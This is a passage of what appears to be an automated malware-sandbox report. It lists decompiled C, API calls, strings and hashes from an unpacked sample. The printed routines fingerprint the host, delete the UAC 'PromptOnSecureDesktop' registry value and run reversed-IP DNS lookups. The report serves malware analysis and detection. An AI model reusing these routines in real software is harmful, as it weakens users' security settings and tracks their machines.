						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,751443E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,751443E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,751443E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0054764E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 005476C2
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00547956
RegCloseKey.ADVAPI32(?), ref: 00547967

Strings

PromptOnSecureDesktop, xrefs: 005476AE, 005476B3, 005476CE

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: 6246e313c0863f2f86af7f34569fa059affcf831751743392f814dc5b01fa79a
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: 8111DC30A04109AFDB118BA9DC49FEFBFB9FB89708F154560F514EA291D7B18D408B60

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

localcfg, xrefs: 00401BE7
hi_id, xrefs: 00401BE5

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 0054994F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00549986
RegDeleteValueA.ADVAPI32(?,00000000), ref: 005499A6
RegCloseKey.ADVAPI32(?), ref: 005499AF

Strings

PromptOnSecureDesktop, xrefs: 00549972, 00549977, 00549999, 005499BC

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: 53a84ac588db8215fc24a4761643d8b159bc2190b2e51db52e1f8bae96fca0f6
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: ABF068B2680218BBF7116754AC0BFDF3A2CEB85704F104065FA05B9091E6E55E9042B9

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0041D191, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

new.LIBCMTD ref: 0041D1A1

Part of subcall function 00421FA0: _malloc.LIBCMTD ref: 00421FAC
Part of subcall function 00421FA0: __callnewh.LIBCMTD ref: 00421FC1
Part of subcall function 00421FA0: std::bad_alloc::bad_alloc.LIBCMTD ref: 00421FEA
Part of subcall function 00421FA0: _atexit.LIBCMTD ref: 00421FF4
Part of subcall function 00421FA0: __CxxThrowException@8.LIBCMTD ref: 00422012

std::exception::exception.LIBCMTD ref: 0041D1C2
__CxxThrowException@8.LIBCMTD ref: 0041D1D7

Strings

h,D, xrefs: 0041D194, 0041D1A0

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Exception@8Throw$__callnewh_atexit_mallocstd::bad_alloc::bad_allocstd::exception::exception
String ID: h,D
API String ID: 373903149-4043681197
Opcode ID: 480ff53ed83916281d5a5f19cf1b93af2926c3b4992a3cff87577463fb158b3c
Instruction ID: 90519c14e6ede297cda8bd59697444cb904b4274ef6717e3a7150ad9810761db
Opcode Fuzzy Hash: 480ff53ed83916281d5a5f19cf1b93af2926c3b4992a3cff87577463fb158b3c
Instruction Fuzzy Hash: DAE02BB1E101087ED708FB65D586ADE37686B60354F50871FB426D10C0DBB8E248C65C

Uniqueness

Uniqueness Score: -1.00%

Function 005428D4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 005428E3
gethostbyname.WS2_32(u6A), ref: 005428EF

Strings

u6A, xrefs: 005428D5, 005428E2, 005428EE
time_cfg, xrefs: 005428D4

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: b4f36fc2896820d35be2d7dabadbadd415bee75c61d0e3c0c8f035cb9ac58afd
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 06E08230604220AFCB108B28F848ACA3BA4AF0A334F508180F044C32A0C730ACC19B84

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

~+t`y+tp*t, xrefs: 00402693
time_cfg, xrefs: 00402684

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~+t`y+tp*t
API String ID: 1594361348-1677924133
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 0054D7B9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 0054D7BC
Sleep.KERNEL32(000003E8), ref: 0054D7C7
ExitProcess.KERNEL32 ref: 0054D7D3

Strings

p*t, xrefs: 0054D7BC

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ExitProcessSleepclosesocket
String ID: p*t
API String ID: 2012141568-2700130030
Opcode ID: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction ID: 6e3f71deae9c32f091d92584d4bf664afa5d7ef3a3c5759f0dabea3da91bb705
Opcode Fuzzy Hash: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction Fuzzy Hash: 61C04830841208EBD7412BB4FC4EACC3E69BB48306B20C160B10A910B1CAB00A808A29

Uniqueness

Uniqueness Score: -1.00%

Function 005469AC, Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 005469CE
SetFileAttributesA.KERNEL32(?,00000002), ref: 00546A0F
GetFileSize.KERNEL32(000000FF,00000000), ref: 00546A23
CloseHandle.KERNEL32(000000FF), ref: 00546BC1

Part of subcall function 0054EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00541DB8,?), ref: 0054EE91
Part of subcall function 0054EE7E: HeapFree.KERNEL32(00000000), ref: 0054EE98

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: 4cee507fd481b71c79a2a9cd893313f762b49abd66bf4f150e34986fe64e2dea
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: F071087190021DEFDF118FA4CC84AEEBFB9FB05358F1085AAE515E61A0D7309E92DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

localcfg, xrefs: 00401C70
%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00544168, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00544194
GetLastError.KERNEL32 ref: 0054419E
WaitForSingleObject.KERNEL32(?,?), ref: 005441AF
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 005441C2

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 920ef185dd618a4dea3d7d1f554dccc54c193647067873e0c635ca62e3ce085d
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: C40193B2511509ABDB11DF90ED85BEE7BBCFB1835AF104461F901E2050E770AAA4CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 005441DC, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00544208
GetLastError.KERNEL32 ref: 00544212
WaitForSingleObject.KERNEL32(?,?), ref: 00544223
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00544236

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 0e4c1ccd364748e95f5c0e090ae3a1615f09e83da9a070188d6640ca80590629
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: 6601E272511209ABDF01DF90ED84BEE7BACFB0835AF108061F901E2050D7B09A549FB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
